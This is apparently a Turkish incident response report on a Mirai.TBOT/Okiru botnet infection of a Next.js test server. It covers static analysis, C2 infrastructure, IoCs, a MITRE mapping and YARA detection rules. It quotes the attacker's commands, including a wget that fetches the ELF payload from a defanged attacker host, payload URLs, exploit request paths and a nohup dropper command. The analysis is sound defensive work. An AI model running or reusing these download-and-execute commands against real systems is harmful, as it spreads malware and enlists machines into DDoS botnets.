Alpha Scramble: Gerçek Bir Olay Müdahalesi – Mirai Botnet Zararlı Yazılım Analizi
Scramble Terminolojisi Hakkında: Bu yazı serisinin isimlendirme mantığı (Alpha, Tango vb. Scramble kodları) hakkında detaylı bilgi almak için Scramble Konsepti yazımı okuyabilirsiniz.
“Senaryo tamamen gerçektir ve belirli servis adlarının gizlenmesi haricinde bir değişiklik yapılmamıştır. Saldırı, yeni alınmış düşük ölçekli bir test sunucusunda yapılan hatalı yapılandırma (deploy) sebebiyle başarılı olmuştur; ancak olaydan kısa bir süre sonra sunucu izole edilerek temizlenmiştir.”
1. Yönetici Özeti
27 Şubat 2026 tarihinde, test sunucumuzda yer alan ve Next.js framework ile çalıştırılan XXXX websitesine yönelik başarılı bir Uzaktan Kod Çalıştırma (RCE) saldırısı tespit edilmiştir.
Saldırganlar sistemde var olan bir servis zafiyetinden yararlanarak dış bir kaynaktan zararlı bir ELF(Executable and Linkable Format) dosyasını sunucuya indirmiş ve www-data yetkileriyle çalıştırmıştır
Kapsamlı tersine mühendislik (reverse engineering) ve log analizleri sonucunda, yüklenen zararlı yazılımın Mirai.TBOT (veya Okiru) botnet ailesine ait değiştirilmiş bir varyant olduğu belirlenmiştir. Saldırının temel amacı, güvenlik açıkları bulunan sunucuyu bir DDoS botnet ağına (“zombi” ağ) katmak ve aynı zamanda hedeflenen diğer internete açık sistemleri (IoT ve web arayüzleri) içeriden tarayarak enfeksiyonu yaymaktır. Tespit sonrasında ilgili ağ bağlantıları engellenmiş, yalıtım (izolasyon) işlemleri uygulanmış ve detaylı kriminal inceleme aşamasına geçilmiştir
2. Zararlı Yazılım Profili
- File type: ELF 64-bit LSB executable, statically linked, not stripped, not UPX packed.
- Architecture: x86_64
- Hashes: MD5: 4b34c372a4510688429dd078960c9672 SHA1: 33853ea750bd5e5757ba5b3e05b20260f700e74f SHA256: fc3ec0b158121039c730d6e9d173b240c4ce8c76e22d393c63fa29916dc44c3e
- Yol (Hedef Sistem): /tmp ve/dev/shm
- Boyut: 82,964 Bytes
3. Enfeksiyon Zinciri ve Yeniden Oluşturma
Saldırı zinciri (Attack Chain) sistem kayıtlarına göre aşağıdaki aşamalarla gerçekleşmiştir:
- Kör Tarama (Blind Scanning) ve Başarısız Exploit Denemeleri: 16–27 Şubat 2026 tarihleri arasında saldırganlar tarafından hedefin Apache ve Nginx web servislerine yönelik çok sayıda HTTP GET/POST isteği gönderilmiştir. Bu isteklerde yaygın Router ve CGI zafiyetleri (örneğin
/device.rsp?opt=sys...,/cgi-bin/...,xmlrpc.phpve Path Traversal) denenmiştir. Ancak log analizlerine göre sunucu bu isteklere404 Not Foundve400 Bad Requestyanıtları dönmüş, yani bu zafiyetlerin hiçbiri başarılı olamamıştır. - Gerçek Bulaşma Noktası — Next.js RCE: Saldırganların otomatik taramaları (blind scan) başarısız olduktan sonra asıl sızma işlemi, sistemde çalışan
xxxxxxadlı Node.js/Next.js servisi üzerinden gerçekleştirilmiştir. Loglar saldırganın Next.js uygulamasındaki bir Uzaktan Kod Çalıştırma (RCE) zafiyetini (Command Injection) başarıyla sömürdüğünü kanıtlamaktadır. - RCE, 27 Şubat 2026 tarihinde internete açık 3001 portundaki
xxxxxxNext.js uygulamasında bulunan application-level command injection zafiyeti üzerinden alınmıştır. Saldırgan, otomatik exploit scripti ile PoC doğrulama işlemi gerçekleştirmiştir. - Payload Teslimatı:
xxxxxxservisi üzerinde kod çalıştırma yetkisi elde edildikten sonrawgetvb. yöntemlerle indirme işlemi gerçekleştirilmiş, zararlı yazılım sunucudan çekilmiştir (wget hxxp://94[.]156[.]152[.]67/xdlol.x86_64). Daha önceki Router zafiyeti taramalarında dabbcadlı payload’u çekme denemeleri yapılmış olsa da, asıl enfeksiyonxdlol.x86_64ile gerçekleşmiştir. - Çalıştırma ve İz (Signature): İndirilen dosyaya yetkiler verildikten sonra çalıştırılmıştır. Uygulama başarılı şekilde komut icra ettiğinde RCE doğrulaması mahiyetinde ekrana
[+] RCE SUCCESS: gosh that chinese family at the other table sure ate a lot“imza” dizesini basmıştır. Bu çıktı, Next.js uygulamasının loglarında açıkça görülmektedir. - Rakip Botnetleri Temizleme (Killer): Zararlı, çalışır çalışmaz sistemde yer alabilecek diğer botnet enfeksiyonlarını (
xd.x86gibi süreçleri) sonlandırmak amacıylakillrutinlerini çalıştırmıştır.
4. Zararlı Yazılımın Statik Analizi
UPX ve Detect It Easy ile incelendiğinde, zararlının UPX gibi bir packer kullanmadığı (statically linked olduğu) ve ELF yapısının incelenebildiği görülmüştür
Strings incelemesi yapıldığında metinlerin bir kısmı anlamsız (şifreli) bir formda, bir kısmı ise okunabilir formatta bulunmaktadır.
ELF dosyası içindeki hassas metin tabanlı bilgilerin (parolalar, komutlar vb.) şifrelendiği görülmektedir. Metinler çalışma zamanında (runtime) table_unlock_val adlı fonksiyon üzerinden deşifre edilmektedir.
4.2 XOR Mekanizması
Şifreleme algoritması, sabit boyutlu veya stream (akış) bir cipher yerine “maskeleme” işlemi yürüten spesifik bir XOR mekanizmasından ibarettir:
- Zararlı, bellek içerisinde 20 elemanlı 32-bit bir anahtar dizisi (
table_keys) bulundurmaktadır. - Döngü, her bir byte’ın deşifre işleminde bu dizideki 32-bit anahtarı alır; 4 byte’ı da mantıksal XOR işlemine (
byte0 ^ byte1 ^ byte2 ^ byte3) tabi tutarak her byte için tek bir sabite indirger. - Bu işlem 20 anahtar döngüsünde yinelendiği için sonuçta tek bir kümülatif XOR anahtarı (örneğin tespit edilen
0x3Abaytı) üretilmesini sağlar.
4.3 Scanner Modülü
Zararlı yazılım, iç ve dış ağda potansiyel yeni kurbanlar bulmak için yoğun bir brute-force ve zafiyet tarama işlemi yapmaktadır: asus.c, dlink_scanner.c, linksys.c, gpon80_scanner.c, thinkphp.c, realtek.c. Ayrıca, POST /ctrlt/DeviceUpgrade_1 HTTP isteğini tetikleyerek ağdaki Huawei ev tipi zafiyetli ağ cihazlarını aktif olarak taradığı ve hxxp://103[.]186[.]147[.]155/bins/mips üzerinden yeni enfeksiyonları tetiklediği gözlemlenmiştir.
4.4 UPnP Abuse ve Oturum İçi Çalıştırma
Zararlı, bellek içerisinde var olan rakip zararlıları silmekle başlangıç yapar (killer_mirai_exists ve killer_kill_by_port(23)). /bins/kla.sh scripti indirilerek nohup sh kla.sh tbk >/dev/null 2>&1 & komutu ile arka planda çalıştırılır. Önemli not: nohup yalnızca oturum kapanmasına karşı koruma sağlar; sistem yeniden başlatıldığında (reboot) kalıcılık garantilemez. Nitekim analizin son aşamasında reboot sonrası kalıcılık doğrulanamamıştır. Yazılım kendini öncelikli olarak RAM diske (/dev/shm) kurarak disk üzerinde iz bırakmayı azaltmakta ve Mirai/TBOT çizgisine uygun biçimde tarama, yayılım ve botnet kontrol davranışları göstermektedir.
5. Komuta ve Kontrol (C2) Analizi
IP’ler: 94.156.152[.]67 (C2 ve Payload Download), 130.12.180[.]151
Portlar: C2 merkezi 8657, exploit payload yükleme (Dropper) amaçlı 80, 8080 ve 443.
Protokol: Şifrelenmiş TCP/UDP.
Communication pattern: Bulaşma ardından ana C2 sunucusuna “sistem pinglemesi” gönderilir; ardından bot beklemeye geçer. Merkeze attack_* sinyali geldiğinde DDoS saldırısını ve ağ içinde aktif taramaları eşzamanlı gerçekleştirir.
Görsel: C2 yapısı
6. Zararlı Yük (Payload) Dağıtım Altyapısı
Analizde tespit edilen dağıtım merkezleri sadece sızılan sistemi değil, yayılmacı doğası gereği diğer mimari (MIPS, ARM vb.) cihazları için de dosyaları barındırır. hxxp://[IP]/file/bbc üzerinden indirilip sh ile çalıştırılan bootstrapper’lar mevcuttur. router.tplink.sh, kla.sh ve v.sh yükleyici scriptleri kullanılmaktadır.
7.Tespit Edilen Zafiyet Göstergeleri (IoC)
Ağ Göstergeleri (IP Adresleri ve Domainler)
- 94.156.152[.]67 (C2 / Payload Drop)
- 130.12.180[.]151 (Komut Dağıtım Kaynağı)
- 45.148.120[.]23 (Alternatif Drop Sunucusu)
- 185.236.25[.]204 (Alternatif Script Sunucusu)
- 103.186.147[.]155 (Huawei MIPS Payload URL Dağıtımı)
Dosya Özet Değerleri (x86_64 Varyantı)
- MD5: 4b34c372a4510688429dd078960c9672
- SHA1: 33853ea750bd5e5757ba5b3e05b20260f700e74f
- SHA256: fc3ec0b158121039c730d6e9d173b240c4ce8c76e22d393c63fa29916dc44c3e
VirusTotal Analiz Linkleri
C2 / Dropper IP Analizi (VirusTotal)
xdlol.x86_64 Zararlı Dosya Analizi (VirusTotal)
8. MITRE ATT&CK Eşleştirmesi
| Taktik | Teknik ID | Teknik Adı | Hedefte Gözlemlenen Davranış |
|---|---|---|---|
| İlk Erişim | T1190 | Exploit Public-Facing Application | Başarılı ilk erişim Next.js RCE üzerinden gözlemlenmiştir; device.rsp ve benzeri router/CGI istekleri başarısız yayılım denemeleri olarak değerlendirilmiştir. |
| Çalıştırma | T1059.004 | Command and Scripting Interpreter: Unix Shell | Web isteğine yerleştirilen bash komutlarının sömürülmesi (sh, bash). |
| Savunma Atlatma | T1027 | Obfuscated Files or Information | Hard-coded statik dizelerin kod içerisinde XOR ile gizlenmesi. |
| Savunma Atlatma | T1140 | Deobfuscate/Decode Files or Information | table_unlock_val üzerinden stringlerin runtime’da çözülmesi. |
| Savunma Atlatma | T1562.001 | Impair Defenses: Disable or Modify Tools | Rakip botnet süreçlerinin (xd.x86 vb.) kill rutinleri ile sonlandırılması. T1489’dan farklı olarak bu eylem hedef sistemin yasal servislerini değil, rakip kötü niyetli süreçleri hedef almaktadır. |
| Keşif | T1046 | Network Service Discovery | Diğer ağ hizmetlerini (GPON, asus, huawei) exploit etmek üzere tarama. |
| Komuta ve Kontrol | T1071.001 | Application Layer Protocol: Web Protocols | C2 sunucusu üzerinden bağlantı kurma, zararlı script indirmeleri. |
| Etki | T1498 | Network Denial of Service | TCP, UDP flood metodolojileri ile dışarıya doğru botnet operasyon hizmetleri sağlama. |
9. YARA / Detection Pack
Kurallar üç ayrı amaçla hazırlanmıştır: ilk kural bu örnek kümesine yakın cluster triage kuralıdır, ikinci kural daha geniş Mirai/TBOT avcılığı içindir, üçüncü kural ise olay müdahalesi sırasında log ve script artefact’larını yakalamak için kullanılmalıdır.
ELF Cluster Rule
import "elf"
rule APT_Mirai_TBOT_Okiru_ELF_Cluster_Triage {
meta:
description = "Cluster triage rule for the analyzed Mirai.TBOT/Okiru-like ELF payload; symbol anchors are sample/profile specific"
author = "Ozhan Yildirim"
date = "2026-05-19"
hash_md5 = "4b34c372a4510688429dd078960c9672"
sample_sha256 = "fc3ec0b158121039c730d6e9d173b240c4ce8c76e22d393c63fa29916dc44c3e"
reference = "Mirai Botnet Incident Analysis Report"
severity = "High"
scope = "sample_cluster"
confidence = "high"
fp_notes = "Requires Mirai table symbols plus killer/scanner or IOC context"
strings:
// Strong anchors confirmed in this sample/profile. These may disappear in stripped or rebuilt variants.
$s_unlock = "table_unlock_val" ascii
$s_keys = "table_keys" ascii
// Killer module
$k1 = "killer_mirai_exists" ascii
$k2 = "killer_kill_by_port" ascii
$k_proc1 = "xdlol.x86_64" ascii
$k_proc2 = "xd.x86" ascii
// Scanner / propagation indicators
$sc1 = "gpon80_scanner" ascii
$sc2 = "thinkphp" ascii
$sc3 = "realtek" ascii
$sc4 = "linksys" ascii
$sc5 = "dlink" ascii
$sc6 = "asus" ascii
// IOC bonus signals (rotate fast)
$ip1 = "94.156.152.67" ascii
$ip2 = "130.12.180.151" ascii
$ip3 = "45.148.120.23" ascii
$ip4 = "185.236.25.204" ascii
$ip5 = "103.186.147.155" ascii
condition:
uint32be(0) == 0x7F454C46 and
(elf.type == elf.ET_EXEC or elf.type == elf.ET_DYN) and
// Sample profile: 82,964 bytes (~81KB). Tight band reduces FP.
filesize > 16KB and filesize < 256KB and
// Anchors must exist
($s_unlock and $s_keys) and
// At least one extra bucket to avoid generic hits
(
1 of ($k*) or
2 of ($sc*) or
1 of ($ip*)
)
}
Family Hunting Rule
import "elf"
rule APT_Mirai_TBOT_Okiru_ELF_Experimental_Hunt {
meta:
description = "Experimental hunt for Mirai.TBOT/Okiru-like ELF scanner/killer profiles without requiring table_* symbols"
author = "Ozhan Yildirim"
date = "2026-05-19"
reference = "Mirai Botnet Incident Analysis Report"
severity = "Medium"
scope = "family_hunting"
confidence = "medium"
fp_notes = "Scanner strings can overlap with research tooling; use for hunting and validate manually"
strings:
// Scanner / propagation strings observed around this cluster
$sc_gpon = "gpon80_scanner" ascii
$sc_think = "thinkphp" ascii
$sc_realtek = "realtek" ascii
$sc_linksys = "linksys" ascii
$sc_dlink = "dlink" ascii
$sc_asus = "asus" ascii
$sc_tplink = "/ctrlt/DeviceUpgrade_1" ascii
$sc_rsp = "/device.rsp?opt=sys" ascii
// Process / payload artifacts
$proc_payload = "xdlol.x86_64" ascii
$proc_competitor = "xd.x86" ascii
// Mirai-style killer symbols when they are present
$killer_exists = "killer_mirai_exists" ascii
$killer_port = "killer_kill_by_port" ascii
condition:
uint32be(0) == 0x7F454C46 and
(elf.type == elf.ET_EXEC or elf.type == elf.ET_DYN) and
filesize > 16KB and filesize < 512KB and
(
3 of ($sc*) or
($proc_payload and 2 of ($sc*)) or
(1 of ($proc*) and 2 of ($sc*)) or
(1 of ($killer*) and 2 of ($sc*))
)
}
Incident Log And Script Artefacts Rule
rule APT_Mirai_TBOT_NextJS_RCE_And_Log_Artifacts {
meta:
description = "Detects Next.js RCE + Mirai.TBOT dropper/scanner artifacts in logs/scripts (ASCII or UTF-16LE safe)"
author = "Ozhan Yildirim"
date = "2026-05-19"
reference = "Mirai Botnet Incident Analysis Report"
severity = "High"
scope = "incident_triage"
confidence = "high"
fp_notes = "Incident-specific log/script artefacts; not a generic Mirai family signature"
strings:
// High-confidence RCE success marker
$rce_sig = "[+] RCE SUCCESS: gosh that chinese family at the other table sure ate a lot" ascii wide
// Background execution / current-session durability
$cmd_run = "nohup sh kla.sh tbk >/dev/null 2>&1 &" ascii wide
// Dropper artifacts
$p1 = "/bins/kla.sh" ascii wide
$p2 = "router.tplink.sh" ascii wide
$p3 = "/file/bbc" ascii wide
$pay = "xdlol.x86_64" ascii wide
// Scanner web requests
$req1 = "POST /ctrlt/DeviceUpgrade_1" ascii wide
$req2 = "/device.rsp?opt=sys" ascii wide
$req3 = "xmlrpc.php" ascii wide
condition:
// Any of these indicates compromise / tooling presence
$rce_sig or
$cmd_run or
2 of ($p*) or
($pay and 1 of ($req*))
}
10 Sonuç ve Öneriler
10.1 Teknik Sonuç Değerlendirmesi
Gerçekleştirilen analizler sonucunda olayın kök nedeni, internete açık konumda çalışan Next.js tabanlı xxxx servisinde bulunan bir Uzaktan Kod Çalıştırma (RCE) zafiyeti olarak belirlenmiştir. Saldırgan, başarısız router/CGI exploit denemelerinin ardından bu zafiyeti başarıyla sömürerek sistem üzerinde www-data yetkileriyle komut icra etmiştir.
Bu erişim üzerinden:
- xdlol.x86_64 adlı ELF payload indirilmiş,
- Çalıştırılmış,
- Sistem Mirai.TBOT (Okiru varyantı) botnet ağına dahil edilmiştir,
- C2 ile 8657 portu üzerinden haberleşme başlatılmış,
- İç ve dış ağ taramaları aktif hale getirilmiştir,
- Huawei UPnP ve IoT cihazlarına yönelik yayılma faaliyetleri başlatılmıştır,
- Rakip botnet süreçleri sonlandırılmıştır,
kla.sh, mevcut oturumda background execution / current-session durability sağlamak içinnohupile devreye alınmıştır; reboot sonrası kalıcılık kanıtı gözlemlenmemiştir.
Sunucu, olay anından itibaren:
- DDoS operasyonları için kullanılabilecek bir bot
- Aynı zamanda lateral yayılım için aktif bir tarama düğümü
konumuna evrilmiştir.
Olayın kapsamı, privilege escalation veya kernel seviyesinde kalıcı rootkit izine dair bir bulgu içermemektedir; enfeksiyon kullanıcı alanı (user-space) seviyesinde kalmıştır.
10.2 Önerilen İyileştirme ve Güvenlik Aksiyonları
Olayın teknik doğası dikkate alınarak aşağıdaki düzeltici ve önleyici aksiyonlar önerilmiştir:
- Next.js Servis Güvenliği
- RCE zafiyetinin yamalanması
- Servisin güncel LTS sürüme geçirilmesi
- Input validation ve command execution noktalarının yeniden tasarlanması
- Outbound Trafik Kontrolü
- Varsayılan outbound deny politikası uygulanması
- Sadece whitelist edilen hedeflere çıkış izni verilmesi
- 8657, 23, 2323 gibi IoT botnet portlarının bloklanması
- Dosya Sistemi Sıkılaştırması
- /tmp ve /dev/shm dizinlerinin noexec olarak mount edilmesi
- RAM disk üzerinden çalıştırılabilir payload riskinin azaltılması
- Least Privilege Modeli
- www-data kullanıcısının shell erişiminin kısıtlanması
- Servislerin ayrı kullanıcı konteynerlerinde izole edilmesi
10.3 Uygulanan Aksiyonlar (Yapılanlar)
Olay müdahalesi sürecinde aşağıdaki somut aksiyonlar uygulanmıştır:
- ✔ Etkilenen sistem ağdan izole edilmiştir.
- ✔ Aktif C2 bağlantıları firewall seviyesinde engellenmiştir.
- ✔ Tespit edilen IP adresleri blacklist’e alınmıştır.
- ✔ Zararlı dosya adli kopyalama (forensic acquisition) sonrası sistemden kaldırılmıştır.
- ✔ /root/ir dizini altında adli imaj ve hash doğrulaması alınmıştır.
- ✔ Next.js servisi durdurulmuş ve geçici olarak erişime kapatılmıştır.
- ✔ Olay zinciri log seviyesinde yeniden oluşturulmuştur.
- ✔ Zararlı binary tersine mühendislik analizi tamamlanmış, XOR anahtarı çıkarılmıştır.
- ✔ C2 ve payload dağıtım altyapısı haritalanmıştır.
- ✔ MITRE ATT&CK eşleştirmesi yapılmıştır.
- ✔ IoC listesi oluşturulmuş ve SOC birimine iletilmiştir.
Ek olarak:
- Sistem üzerinde kalıcı rootkit veya kernel hook izine rastlanmamıştır.
- Enfeksiyon RAM odaklı olduğu için reboot sonrası kalıcılık doğrulanmamıştır.
Kla.shbetiğinin yeniden tetiklenmediği teyit edilmiştir.







